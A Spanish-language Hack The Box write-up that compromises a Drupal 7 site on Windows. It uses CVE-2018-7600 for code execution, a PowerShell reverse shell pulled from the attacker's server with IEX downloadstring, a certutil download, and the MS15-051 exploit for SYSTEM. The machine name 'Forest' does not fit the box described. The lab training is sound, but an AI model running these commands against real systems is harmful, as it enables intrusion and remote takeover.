En este post voy a vulnerar la máquina Forest de Hack the Box. Es una máquina Windows, de nivel medio basada en Drupal pero que en realidad es muy fácil de resolver.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 5000 10.10.10.9

En la máquina hay tres puertos abiertos. Escaneo los dos primeros puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135 -sC -sV 10.10.10.9 Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-08 17:46 CET Nmap scan report for 10.10.10.9 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 |_http-generator: Drupal 7 (http://drupal.org) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Microsoft-IIS/7.5 |_http-title: Welcome to 10.10.10.9 | 10.10.10.9 135/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds

Por lo que veo, en el puerto 80, hay un IIS 7.5 por el que se está ejecutando un drupal 7.5 (bastante antiguo) y me indica que tengo accedo al fichero CHANGELOG.txt o Registro de Cambios del CMS.
Comienzo accediendo a la web desde el navegador y me encuentro una pantalla de bienvenida con una sección de autenticación.

Entro el el fichero de registro de cambios del CMS, que se encuentra en la ruta http://10.10.10.9/CHANGELOG.txt y veo que la versión que se está ejecutando un Drupal 7.54 de principios de 2017… bastante antiguo vamos.
Buscando por Google encuentro rápidamente que esta versión se ve afectada por una vulnerabilidad de RCE registrada con el código CVE-2018-7600. Existen varios exploits para esta vulnerabilidad pero el que mas me ha gustado es el pimps tiene alojado en su cuenta de github (aquí).
Me descargo el exploit y lo ejecuto para comprobar que funciona correctamente y ver su uso.
python3 drupa7-CVE-2018-7600.py -h

Parece que funciona correctamente. Vuelvo a ejecutar en la máquina víctima para verificar que es vulnerable.
python3 drupa7-CVE-2018-7600.py -c whoami http://10.10.10.9/

Como veo en la imagen anterior, el comando se ejecuta en la máquina víctima así que puedo obtener una shell reversa fácilmente.
Primero copio a mi directorio el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 (al que yo renombro como rshell.ps1) y añado la siguiente línea al final del fichero: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 7897 y después, en ese mismo directorio, levanto un servidor http.
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rshell.ps1 nano rshell.ps1 python -m SimpleHTTPServer
El único «problema» es que esta versión de Drupal se estará (seguramente) ejecutando sobre un proceso de 32 bits y, según la información que da HTB, la máquina tiene una arquitectura de 64 bits así que puede que tenga algún problema al ejecutar scripts de powershell. Este «problema» se resuelve fácilmente haciendo que la shell reversa se ejecute sobre la aplicación nativa de powershell, que se encuentra en la ruta C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe.
python3 drupa7-CVE-2018-7600.py -c "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c IEX(new-object net.webclient).downloadstring('http://10.10.14.14:8000/rshell.ps1')" http://10.10.10.9/


La flag de usuario la encuentro en la ruta C:\Users\dimitris\Desktop\user.txt.

Escalada de Privilegios
Voy a empezar buscando vulnerabilidades en el sistema con la ayuda de sherlock. Me descargo el ps1 desde aquí y lo guardo en mi servidor http local. Una vez descargado lo ejecuto y veo las posibles vulnerabilidades.
IEX(new-object net.webclient).downloadstring('http://10.10.14.14:8000/sherlock.ps1')
Find-AllVulns

La primera que me muestra es la MS15-051 que también está registrada como CVE-2015-1701, que también es comúnmente conocida como Win32k.

Existen varios exploits para esta vulnerabilidad pero el que mas me gusta es el de SecWiki (aquí). Me descargo el comprimido .zip del repositorio, lo descomprimo y subo la versión de 64bits a la máquina víctima utilizando certutil.exe, aprovechando el servidor http que he levantando antes.
certutil.exe -urlcache -split -f http://10.10.14.14:8000/ms15-051x64.exe ms15-051x64.exe

Lo ejecuto, con dos comandos simples, para probar su funcionamiento.
./ms15-051x64.exe whoami ./ms15-051x64.exe ipconfig

Como veo que funciona sin problemas, y los comandos los ejecuta como root, voy a conseguir una shell reversa aprovechando el binario rshell.ps1 que ya utilicé anteriormente.
Pongo un netcat a la escucha por el puerto 7897 y ejecuto el comando.
./ms15-051x64.exe "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c IEX(new-object net.webclient).downloadstring('http://10.10.14.14:8000/rshell.ps1')"

Realmente no creo que fuese necesario volver a utilizar el powershell nativo pero ya tenia el comando escrito…

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.txt.

